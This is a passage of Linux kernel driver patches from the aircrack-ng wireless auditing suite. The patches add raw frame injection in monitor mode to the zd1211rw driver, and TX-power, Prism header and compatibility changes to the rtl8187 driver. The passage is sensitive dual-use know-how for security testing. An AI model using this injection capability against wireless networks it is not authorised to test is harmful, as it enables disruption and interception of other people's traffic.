@@ -201,7 +201,13 @@ goto disable_rx; housekeeping_enable(mac); - ieee80211softmac_start(netdev); + netif_carrier_on(netdev); + ieee80211softmac_start(netdev); + if(!netif_queue_stopped(netdev)) + netif_start_queue(netdev); + else + netif_wake_queue(netdev); + return 0; disable_rx: zd_chip_disable_rx(chip); @@ -834,6 +840,7 @@ struct ieee80211_txb *txb, int frag_num) { + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); int r; struct sk_buff *skb = txb->fragments[frag_num]; struct ieee80211_hdr_4addr *hdr = @@ -857,7 +864,10 @@ cs->tx_length = cpu_to_le16(frag_len); - cs_set_control(mac, cs, hdr); + if(ieee->iw_mode == IW_MODE_MONITOR) + cs->control = ZD_CS_MULTICAST; + else + cs_set_control(mac, cs, hdr); packet_length = frag_len + sizeof(struct zd_ctrlset) + 10; ZD_ASSERT(packet_length <= 0xffff); @@ -913,7 +923,11 @@ ieee->stats.tx_dropped++; return r; } - r = zd_usb_tx(&mac->chip.usb, skb->data, skb->len); + + if(ieee->iw_mode == IW_MODE_MONITOR) + r = zd_usb_tx_inject(&mac->chip.usb, skb->data, skb->len); + else + r = zd_usb_tx(&mac->chip.usb, skb->data, skb->len); if (r) { ieee->stats.tx_dropped++; return r; @@ -933,6 +947,8 @@ u8 rt_rate; u16 rt_channel; u16 rt_chbitmask; + u8 rt_antsignal; + u8 rt_antnoise; } __attribute__((packed)); static void fill_rt_header(void *buffer, struct zd_mac *mac, @@ -946,7 +962,9 @@ hdr->rt_hdr.it_len = cpu_to_le16(sizeof(struct zd_rt_hdr)); hdr->rt_hdr.it_present = cpu_to_le32((1 << IEEE80211_RADIOTAP_FLAGS) | (1 << IEEE80211_RADIOTAP_CHANNEL) | - (1 << IEEE80211_RADIOTAP_RATE)); + (1 << IEEE80211_RADIOTAP_RATE) | + (1 << IEEE80211_RADIOTAP_DBM_ANTSIGNAL) | + (1 << IEEE80211_RADIOTAP_DBM_ANTNOISE)); hdr->rt_flags = 0; if (status->decryption_type & (ZD_RX_WEP64|ZD_RX_WEP128|ZD_RX_WEP256)) @@ -960,6 +978,9 @@ hdr->rt_chbitmask = cpu_to_le16(IEEE80211_CHAN_2GHZ | ((status->frame_status & ZD_RX_FRAME_MODULATION_MASK) == ZD_RX_OFDM ? IEEE80211_CHAN_OFDM : IEEE80211_CHAN_CCK)); + + hdr->rt_antsignal = status->signal_strength; + hdr->rt_antnoise = stats->noise; } /* Returns 1 if the data packet is for us and 0 otherwise. */ @@ -1066,7 +1087,8 @@ const struct rx_status *status; *pstatus = status = zd_tail(buffer, length, sizeof(struct rx_status)); - if (status->frame_status & ZD_RX_ERROR) { + if (status->frame_status & ZD_RX_ERROR + || status->frame_status & ~0x21) { struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); ieee->stats.rx_errors++; if (status->frame_status & ZD_RX_TIMEOUT_ERROR) diff -ur linux-2.6.21-gentoo-orig/drivers/net/wireless/zd1211rw/zd_usb.c linux-2.6.21-gentoo-rawtx/drivers/net/wireless/zd1211rw/zd_usb.c --- linux-2.6.21-gentoo-orig/drivers/net/wireless/zd1211rw/zd_usb.c 2007-04-27 17:23:31.000000000 -0400 +++ linux-2.6.21-gentoo-rawtx/drivers/net/wireless/zd1211rw/zd_usb.c 2007-04-27 17:59:07.000000000 -0400 @@ -63,6 +63,7 @@ { USB_DEVICE(0x13b1, 0x0024), .driver_info = DEVICE_ZD1211B }, { USB_DEVICE(0x0586, 0x340f), .driver_info = DEVICE_ZD1211B }, { USB_DEVICE(0x0baf, 0x0121), .driver_info = DEVICE_ZD1211B }, + { USB_DEVICE(0x083a, 0x4505), .driver_info = DEVICE_ZD1211B }, /* "Driverless" devices that need ejecting */ { USB_DEVICE(0x0ace, 0x2011), .driver_info = DEVICE_INSTALLER }, {} @@ -773,6 +774,46 @@ return r; } +/* Puts the frame on the USB endpoint. It doesn't wait for + * completion. The frame must contain the control set. + */ +int zd_usb_tx_inject(struct zd_usb *usb, const u8 *frame, unsigned int length) +{ + int r; + struct usb_device *udev = zd_usb_to_usbdev(usb); + struct urb *urb; + void *buffer; + + urb = usb_alloc_urb(0, GFP_ATOMIC); + if (!urb) { + r = -ENOMEM; + goto out; + } + + buffer = usb_buffer_alloc(zd_usb_to_usbdev(usb), length, GFP_ATOMIC, + &urb->transfer_dma); + if (!buffer) { + r = -ENOMEM; + goto error_free_urb; + } + memcpy(buffer, frame, length); + + usb_fill_bulk_urb(urb, udev, usb_sndbulkpipe(udev, EP_DATA_OUT), + buffer, length, tx_urb_complete, NULL); + + r = usb_submit_urb(urb, GFP_ATOMIC); + if (r) + goto error; + return 0; +error: + usb_buffer_free(zd_usb_to_usbdev(usb), length, buffer, + urb->transfer_dma); +error_free_urb: + usb_free_urb(urb); +out: + return r; +} + static inline void init_usb_interrupt(struct zd_usb *usb) { struct zd_usb_interrupt *intr = &usb->intr; diff -ur linux-2.6.21-gentoo-orig/drivers/net/wireless/zd1211rw/zd_usb.h linux-2.6.21-gentoo-rawtx/drivers/net/wireless/zd1211rw/zd_usb.h --- linux-2.6.21-gentoo-orig/drivers/net/wireless/zd1211rw/zd_usb.h 2007-04-27 17:23:31.000000000 -0400 +++ linux-2.6.21-gentoo-rawtx/drivers/net/wireless/zd1211rw/zd_usb.h 2007-04-27 18:01:02.000000000 -0400 @@ -221,6 +221,7 @@ void zd_usb_disable_rx(struct zd_usb *usb); int zd_usb_tx(struct zd_usb *usb, const u8 *frame, unsigned int length); +int zd_usb_tx_inject(struct zd_usb *usb, const u8 *frame, unsigned int length); int zd_usb_ioread16v(struct zd_usb *usb, u16 *values, const zd_addr_t *addresses, unsigned int count); aircrack-ng-1.2-rc4/patches/old/rtl8187_1010.0622v2.patch0000644000000000000000000007105510761053203020606 0ustar rootrootdiff -Naur rtl8187_orig/beta-8187/ieee80211.h rtl8187_txpower/beta-8187/ieee80211.h --- rtl8187_orig/beta-8187/ieee80211.h 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_txpower/beta-8187/ieee80211.h 2007-02-17 13:42:56.967245565 +0100 @@ -156,6 +156,23 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +#define IW_MODE_MONITOR_PRISM 15 +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; diff -Naur rtl8187_orig/beta-8187/r8180_hw.h rtl8187_txpower/beta-8187/r8180_hw.h --- rtl8187_orig/beta-8187/r8180_hw.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_hw.h 2007-02-17 13:42:57.047246772 +0100 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.h rtl8187_txpower/beta-8187/r8180_rtl8225.h --- rtl8187_orig/beta-8187/r8180_rtl8225.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_rtl8225.h 2007-02-17 13:42:57.127247979 +0100 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225z2.c rtl8187_txpower/beta-8187/r8180_rtl8225z2.c --- rtl8187_orig/beta-8187/r8180_rtl8225z2.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_rtl8225z2.c 2007-02-17 13:42:53.757197143 +0100 @@ -418,7 +418,10 @@ /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; + priv->chtxpwr[ch] = max_cck_power_level; + } cck_power_level += priv->cck_txpwr_base; diff -Naur rtl8187_orig/beta-8187/r8180_wx.c rtl8187_txpower/beta-8187/r8180_wx.c --- rtl8187_orig/beta-8187/r8180_wx.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_wx.c 2007-02-17 13:42:53.787197595 +0100 @@ -21,6 +21,7 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 @@ -108,6 +109,63 @@ return ret; } +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv(dev); + down(&priv->wx_sem); + wrqu->power.value = priv->chtxpwr_ofdm[1] + MIN_TX_POWER; + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; + up(&priv->wx_sem); + + return 0; +} + +#if 0 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i = 0; + struct r8180_priv *priv = ieee80211_priv(dev); + + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > MAX_TX_POWER) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < MIN_TX_POWER) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<=14;i++) + { + priv->chtxpwr[i] = wrqu->power.value + 1 - MIN_TX_POWER; + priv->chtxpwr_ofdm[i] = wrqu->power.value - MIN_TX_POWER; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: + up(&priv->wx_sem); + + return ret; +} +#endif + static int r8180_wx_set_rawtx(struct net_device *dev, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) @@ -623,8 +681,8 @@ dummy, /* SIOCGIWRTS */ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ - dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + NULL, /* SIOCSIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ diff -Naur rtl8187_orig/beta-8187/r8187_core.c rtl8187_txpower/beta-8187/r8187_core.c --- rtl8187_orig/beta-8187/r8187_core.c 2006-06-22 07:43:30.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8187_core.c 2007-02-17 13:42:53.827198198 +0100 @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -98,6 +99,10 @@ #endif static int channels = 0x3fff; +#define DEBUG_EPROM +#define DEBUG_REGISTERS +#define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -158,7 +163,6 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { @@ -407,13 +411,14 @@ return len; } - +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { struct r8180_priv *priv = ieee80211_priv(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) { @@ -561,7 +566,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -575,9 +593,9 @@ for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -1112,7 +1130,10 @@ struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + { + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + morefrag = 1; + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1557,10 +1578,10 @@ struct r8180_priv *priv = ieee80211_priv(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; + u8 hw_version; + u8 config3; //FIXME: these constants are placed in a bad pleace. @@ -1580,6 +1601,13 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); @@ -1622,7 +1650,11 @@ priv->ieee80211->mode = IEEE_G; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, @@ -1716,6 +1748,12 @@ priv->enable_gpio0 = 0; + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 @@ -1807,6 +1845,12 @@ priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; @@ -2291,13 +2335,17 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = NULL; + struct iwreq *wrq = NULL; + + int ret=-1; + + priv = (struct r8180_priv *)ieee80211_priv(dev); down(&priv->wx_sem); - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; + wrq = (struct iwreq *)rq; + switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); @@ -2346,7 +2394,8 @@ if( flen <= rx_urb->actual_length){ - stats.signal = (desc[1] & 0x7f00)>>8; +// stats.signal = (desc[1] & 0x7f00)>>8; + stats.signal = (desc[1] & 0xff00)>>8; stats.noise = desc[1] &0xff; stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; @@ -2368,6 +2417,8 @@ // priv->rxskb = skb; // priv->tempstats = &stats; + + stats.signal -= stats.noise; if(!ieee80211_rx(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); @@ -2418,7 +2469,12 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; if (dev_alloc_name(dev, ifname) < 0){ diff -Naur rtl8187_orig/beta-8187/r8187.h rtl8187_txpower/beta-8187/r8187.h --- rtl8187_orig/beta-8187/r8187.h 2006-06-06 08:48:10.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8187.h 2007-02-17 13:42:57.197249035 +0100 @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -148,7 +151,7 @@ u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; + short prism_hdr; // struct timer_list scan_timer; /*short scanpending; diff -Naur rtl8187_orig/beta-8187/r8187.mod.c rtl8187_txpower/beta-8187/r8187.mod.c --- rtl8187_orig/beta-8187/r8187.mod.c 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_txpower/beta-8187/r8187.mod.c 2007-02-17 13:42:53.827198198 +0100 @@ -0,0 +1,25 @@ +#include +#include +#include + +MODULE_INFO(vermagic, VERMAGIC_STRING); + +struct module __this_module +__attribute__((section(".gnu.linkonce.this_module"))) = { + .name = KBUILD_MODNAME, + .init = init_module, +#ifdef CONFIG_MODULE_UNLOAD + .exit = cleanup_module, +#endif +}; + +static const char __module_depends[] +__attribute_used__ +__attribute__((section(".modinfo"))) = +"depends=ieee80211-rtl"; + +MODULE_ALIAS("usb:v0BDAp8187d*dc*dsc*dp*ic*isc*ip*"); +MODULE_ALIAS("usb:v0846p6100d*dc*dsc*dp*ic*isc*ip*"); +MODULE_ALIAS("usb:v0846p6A00d*dc*dsc*dp*ic*isc*ip*"); + +MODULE_INFO(srcversion, "B76939EB1EA6331677B0BFF"); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.c rtl8187_txpower/ieee80211/ieee80211_crypt.c --- rtl8187_orig/ieee80211/ieee80211_crypt.c 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt.c 2007-02-17 13:43:15.707528258 +0100 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c rtl8187_txpower/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_ccmp.c 2007-02-17 13:43:15.707528258 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,20 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) + #include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_ccmp-rtl.mod.c rtl8187_txpower/ieee80211/ieee80211_crypt_ccmp-rtl.mod.c --- rtl8187_orig/ieee80211/ieee80211_crypt_ccmp-rtl.mod.c 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_ccmp-rtl.mod.c 2007-02-17 13:43:15.737528711 +0100 @@ -0,0 +1,20 @@ +#include +#include +#include + +MODULE_INFO(vermagic, VERMAGIC_STRING); + +struct module __this_module +__attribute__((section(".gnu.linkonce.this_module"))) = { + .name = KBUILD_MODNAME, + .init = init_module, +#ifdef CONFIG_MODULE_UNLOAD + .exit = cleanup_module, +#endif +}; + +static const char __module_depends[] +__attribute_used__ +__attribute__((section(".modinfo"))) = +"depends=ieee80211_crypt"; + diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt-rtl.mod.c rtl8187_txpower/ieee80211/ieee80211_crypt-rtl.mod.c --- rtl8187_orig/ieee80211/ieee80211_crypt-rtl.mod.c 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_crypt-rtl.mod.c 2007-02-17 13:43:15.747528862 +0100 @@ -0,0 +1,20 @@ +#include +#include +#include + +MODULE_INFO(vermagic, VERMAGIC_STRING); + +struct module __this_module +__attribute__((section(".gnu.linkonce.this_module"))) = { + .name = KBUILD_MODNAME, + .init = init_module, +#ifdef CONFIG_MODULE_UNLOAD + .exit = cleanup_module, +#endif +}; + +static const char __module_depends[] +__attribute_used__ +__attribute__((section(".modinfo"))) = +"depends="; + diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c rtl8187_txpower/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_tkip.c 2007-02-17 13:43:15.797529616 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -431,7 +439,11 @@ static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { +#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20) + struct hash_desc desc; +#endif struct scatterlist sg[2]; + int ret=0; if (tkey->tfm_michael == NULL) { printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); @@ -445,12 +457,21 @@ sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); +#else + if (crypto_hash_setkey(tkey->tfm_michael, key, 8)) + return -1; - return 0; + desc.tfm = tkey->tfm_michael; + desc.flags = 0; + ret = crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif + + return ret; } static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_tkip-rtl.mod.c rtl8187_txpower/ieee80211/ieee80211_crypt_tkip-rtl.mod.c --- rtl8187_orig/ieee80211/ieee80211_crypt_tkip-rtl.mod.c 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_tkip-rtl.mod.c 2007-02-17 13:43:15.827530068 +0100 @@ -0,0 +1,20 @@ +#include +#include +#include + +MODULE_INFO(vermagic, VERMAGIC_STRING); + +struct module __this_module +__attribute__((section(".gnu.linkonce.this_module"))) = { + .name = KBUILD_MODNAME, + .init = init_module, +#ifdef CONFIG_MODULE_UNLOAD + .exit = cleanup_module, +#endif +}; + +static const char __module_depends[] +__attribute_used__ +__attribute__((section(".modinfo"))) = +"depends=ieee80211_crypt"; + diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_wep.c rtl8187_txpower/ieee80211/ieee80211_crypt_wep.c --- rtl8187_orig/ieee80211/ieee80211_crypt_wep.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_wep.c 2007-02-17 13:43:15.837530219 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_wep-rtl.mod.c rtl8187_txpower/ieee80211/ieee80211_crypt_wep-rtl.mod.c --- rtl8187_orig/ieee80211/ieee80211_crypt_wep-rtl.mod.c 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_wep-rtl.mod.c 2007-02-17 13:43:15.877530823 +0100 @@ -0,0 +1,20 @@ +#include +#include +#include + +MODULE_INFO(vermagic, VERMAGIC_STRING); + +struct module __this_module +__attribute__((section(".gnu.linkonce.this_module"))) = { + .name = KBUILD_MODNAME, + .init = init_module, +#ifdef CONFIG_MODULE_UNLOAD + .exit = cleanup_module, +#endif +}; + +static const char __module_depends[] +__attribute_used__ +__attribute__((section(".modinfo"))) = +"depends=ieee80211_crypt"; + diff -Naur rtl8187_orig/ieee80211/ieee80211.h rtl8187_txpower/ieee80211/ieee80211.h --- rtl8187_orig/ieee80211/ieee80211.h 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211.h 2007-02-17 13:43:11.897470784 +0100 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; diff -Naur rtl8187_orig/ieee80211/ieee80211_module.c rtl8187_txpower/ieee80211/ieee80211_module.c --- rtl8187_orig/ieee80211/ieee80211_module.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_module.c 2007-02-17 13:43:15.907531275 +0100 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); diff -Naur rtl8187_orig/ieee80211/ieee80211-rtl.mod.c rtl8187_txpower/ieee80211/ieee80211-rtl.mod.c --- rtl8187_orig/ieee80211/ieee80211-rtl.mod.c 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211-rtl.mod.c 2007-02-17 13:43:15.937531728 +0100 @@ -0,0 +1,16 @@ +#include +#include +#include + +MODULE_INFO(vermagic, VERMAGIC_STRING); + +struct module __this_module +__attribute__((section(".gnu.linkonce.this_module"))) = { + .name = KBUILD_MODNAME, +}; + +static const char __module_depends[] +__attribute_used__ +__attribute__((section(".modinfo"))) = +"depends=ieee80211_crypt"; + diff -Naur rtl8187_orig/ieee80211/ieee80211_rx.c rtl8187_txpower/ieee80211/ieee80211_rx.c --- rtl8187_orig/ieee80211/ieee80211_rx.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_rx.c 2007-02-17 13:43:15.947531879 +0100 @@ -22,7 +22,6 @@ #include -#include #include #include #include @@ -43,18 +42,83 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + + #include "ieee80211.h" static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ 